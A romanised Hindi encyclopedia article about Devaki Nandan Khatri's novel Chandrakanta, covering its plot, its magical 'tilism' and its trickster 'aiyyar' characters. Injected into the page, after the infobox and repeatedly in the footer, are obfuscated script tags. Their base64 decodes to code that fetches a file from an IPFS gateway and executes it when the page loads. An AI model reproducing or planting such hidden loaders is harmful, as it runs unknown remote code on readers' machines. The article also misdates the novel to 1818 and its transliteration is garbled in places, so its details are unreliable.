चन्द्रकान्ता (उपन्यास)
chandrakanta (upanyas)
| |
| lekhak | devakinandan khatri |
| mool shirshak | chandrakanta |
| mukhy patr | chandrakanta aur vireandr |
| prakashak | dayamand p aauket buks |
| prakashan tithi | 1 janavari, 2004 |
| desh | bharat |
| bhasha | hiandi |
| vidha | upanyas |
| bhag | char hissoan mean vibhajit |
| pustak kramaank | 4825 |
| vishesh | yah shuddh laukik prem kahani hai, jisamean tilismi aur aiyyari ke anek chamatkar pathak ko chamatkrit karate haian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
chandrakanta devakinandan khatri dvara rachit ek tilismi hindi upanyas hai. chandrakanta ko ek prem katha kaha ja sakata hai. yah shuddh laukik prem kahani hai, jisamean tilismi aur aiyyari ke anek chamatkar pathak ko chamatkrit karate haian. naugadh ke raja surendrasianh ke putr virendrasianh tatha vijayagadh ke raja jayasianh ki putri chandrakanta ke pranay aur parinay ki katha upanyas ki mukhy katha hai. is prem katha ke sath-sath tejasianh aiyyar tatha aiyyara chapala ki prem kahani bhi anek tatr jhaankati hai.
- laukik premakatha
‘chandrakanta’ (san 1818) ko moolat: aur pramukhat: ek prem-katha kaha ja sakata hai. char hissoan mean vibhajit is upanyas ki katha anayas hi hamean madhyakalin premakhyanak kavyoan ka smaran karati hai. is prem-katha mean alaukik aur atiprakritik tattvoan ka pray: abhav hai aur n hi ise adhyatmik rang mean rangane ka hi prayas kiya gaya hai. yah shuddh laukik prem-kahani hai, jisamean tilismi aur aiyari ke anek chamatkar pathak ko chamatkrit karate haian. naugadh ke raja surendrasianh ke putr virendrasianh tatha vijayagadh ke raja jayasianh ki putri chandrakanta ke pranay aur parinay ki katha upanyas ki pramukh katha hai.
kathanak
nazim aur ahamad jaise aiyyar usake sahayak haian parantu apane kukrityoan ke anuroop hi usaka ant ho jata hai. chunar ka raja shivadattasianh bhi asaty athava khal patroan ki shreni mean ata hai. vah bhi 'kroorasianh' se prerit hokar chandrakanta ki prapti ka viphal prayatn karata hai. vah vijayagadh par akraman karata hai, parantu naugadh evan vijayagadh ke shasakoan aur virendrasianh ki virata tatha jitasianh, tejasianh, devisianh adi aiyyaroan ke prayatn se parast hota hai. in aiyyaroan ki sahayata se virendrasianh anek kathinaiyoan aur badhaoan ka samana karata hua tilism ko to data hai. aur chandrakanta ko mukt karata hai. is tilism se use apar sampada prapt hoti hai aur vah chandrakanta ka panigrahan karata hai. chapala tejasianh ki parinita banati hai aur champa ka devisianh se vivah hota hai.
- tilism shabd
devakinandan khatri ne samasamayik niti-pradhan upanyasoan se bhinn kautoohal pradhan ‘tilismi aiyyari’ upanyas rachana ki nayi disha ko udghatit karane ka saphal prayas kiya. ‘tilism’ arabi ka shabd hai, jisaka arth hai- 'aindrajalik rachana, ga de hue dhan adi par banayi huee sarp adi ki bhayavani akriti v davaoan tatha lagnoan ke mel se bandha hua yantr’.' ‘chandrakanta’ ke chauthe bhag ke bisavean bayan mean aiyyar jitasianh zaroorat p dati thi to ve b de-b de jyotishi, najoomi, vaidy, karigar ‘tilism ke sambandh mean kahata hai-
'tilismi vahi shakhs taiyar karata hai, jisake pas bahut mal-khazana ho aur varis n ho....purane jamane ke rajaoan ko jab tilismi baandhane ki aur taantrik log ikatthe kiye jate the. unhian logoan ke kahe mutabiq tilismi baandhane ke lie zamin khodi jati thi, usi zamin ke andar khazana rakhakar oopar tilismi imarat banayi jati thi. usamean jyotishi, najoomi, vaidy, karigar aur taantrik log apani takat ke mutabiq usake chhipane ki bandish karate the magar isake sath hi us adami ke nakshatr evan grahoan ka bhi khayal rakhate the, jisake lie vah khazana rakkha jata tha.'
- aiyyar shabd
‘aiyyar’ shabd bhi arabi ka hai, jisaka shabdik arth hai- dhoort athava vesh ya roop badalakar anokhe kam karane vala vyakti. ‘aiyar’ usako kahate haian jo har ek phan janata ho, shakl badalana aur dau dana usake mukhy kam haian. aiyaroan ke sambandh mean khatri ji ne ‘chandrakanta’ ki bhoomika mean likha hai- rajadarabaroan mean aiyar bhi naukar hote the jo ki haraphanamaula, yani soorat badalana, bahut-si davaoan ka janana, gana-bajana, dau dana, astr chalana, jasoosoan ka kam karana, vagairah bahut-si batean jana karate the. jab rajaoan mean l daee hoti thi to ye log apani chalaki se bina khoon bahaye v palatanoan ki jane ganvaye l daee khatm kara dete the. ’chandrakanta’ mean lekhak chunar ke bahar ke khandahar ke tilism ka varnan karata hai, jahaan kale patthar ke khambhe par sangamaramar ka bagula hai jo kisi ke pas ate hi muanh khol leta hai aur use udarasth kar leta hai.
- tilism
chandrakanta ko yahi bagula nigal leta hai tatha vah mean kaid ho jati hai. usaki sakhi chapala ka bhi yahi hal hota hai. is tilism ke vishay mean ek surkh patthar par likha hai-‘yah tilism hai, isamean phansane vala kabhi bahar nahian nikal sakata. haan, agar koee isako to de to sab kaidiyoan ko chhu da le aur daulat bhi usake hath lage. tilism to dane vale ke badan mean khoob takat bhi honi chahie, nahian to mehanat vyarth hai.’ is tilism ko to dane ki vidhi bhi ek pustak mean likhi milati hai, jisaka arth tejasianh aur jyotishiji ramal ki sahayata se jnat karate haian. is pustak ki prapti se virendrasianh apane aiyar sathiyoan ki madad se anek kathinaiyoan, badhaoan evan sangharshoan ka samana karata hua tilism ko to dane mean saphal hota hai aur chandrakanta ko mukt karata hai. upanyas ke tisare aur chauthe hisse mean mukhy roop se isi tilismi ko to dane ki katha rochak, kautoohal poorn aur adbhut varnan hai. vanakanya, soorajamukhi adi patroan ka srijan aur unake kary upanyas mean rochakata aur kautoohal ki vriddhi karate haian.
- vibhinn aiyyar
aiyyari pradhan hone ke karan ‘chandrakanta’ mean aiyyaroan ki chaloan, phanoan aur ghat-pratighatoan ka b da hi sajiv, rochak aur chamatkarik varnan milata hai. upanyas mean kee aiyyar haian. virendrasianh ke paksh ke aiyyar haian- jitasianh, tejasianh, aur devisianh. kroorasianh ke aiyar haian- ahamad aur najim. shivadatt ke chh: aiyar haian- pandit badrinath, chunnilal, ramanarayan, bhagavanadatt, pannalal aur ghasitasianh. unake pas ramal ka jnata jyotishi jagannath bhi hai. chapala aur aiyarinean haian jo chandrakanta ke sath rahati haian. upanyas mean in aiyaroan ke kary pathakoan ko chamatkrit aur vismit karate haian. kahian ye suanghani suanghakar kisi ko behosh kar dete haian aur kahian lakhalakha suanghakar hosh mean le ate haian. aiyyari batua inake pas hamesha rahata hai aur isamean ve sabhi avashyak samagri rakhate haian. jasoosi karane, l dane-bhi dane, gane-bajane, nachane adi mean ye kushal hote haian. aiyaroan ke kary upanyas ki katha ko mo d dehte haian. kahian devisianh sadhoo ka vesh banakar tejasianh ko savadhan karata hai to kahian chapala aur champa ki nakali lashean haian. kahian vanakanya aur soorajamukhi ke karatab haian, kahian nakali chandrakanta shivadattasianh se prem pradarshan karati hai to kahian jalimakhaan aur aphatakhaan apane-apane dhang se aphat aur julm dhate haian, jitasianh rahasyamay roop se sadhu baba ban jata hai. sare upanyas mean in aiyaroan ke chamatkarapoorn kary pathak ko mugdh aur stambhit karate haian. in aiyaroan ki apani achar-sanhita bhi hai, jisaka palan karana ve apana kartavy manate haian. upanyas mean varnit aiyaroan ke ghat-pratighat vishakhadatt ke ‘mudrarakshas’ mean varnit chanaky aur rakshas ke rajanitik daanv-pechoan ka smaran kara dete haian.
kavy saushthav
vastu-sangathan mean utsukata aur kautoohal ki pradhanata, patroan ke srijan mean vividh kshetroan se unaka chayan, batachit ke sanvad, chunar, vijayagadh, naugadh adi ki nadiyoan, talaboan, bav diyoan, khohoan, tiloan, khandaharoan, pakshiyoan, vrikshoan adi ka chitratmak shaili mean prakriti-chitran, yugin paristhitiyoan ka apratyaksh roop mean aankan, bolachal ki sajiv bhasha, adarsh charitroan ki sarjana dvara naitik moolyoan ki pratishtha adi ‘chandrakanta’ ki katipay aisi visheshatayean haian; jo lekhak ke jivan anubhav, kalpana ki vismayakari u dan tatha katha-nirman ki adbhut kshamata ki parichayak haian. vastut: tilism aur aiyari ke sootroan se guanthi huee prem aur romaans ki yah aupanyasik katha hindi ke ghatana-pradhan romaanchak upanyasoan ki aisi shubh shuruat thi, jisane asankhy pathakoan ko hindi bhasha ka premi bana diya aur hindi upanyas ko dridh adharashila pradan ki.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>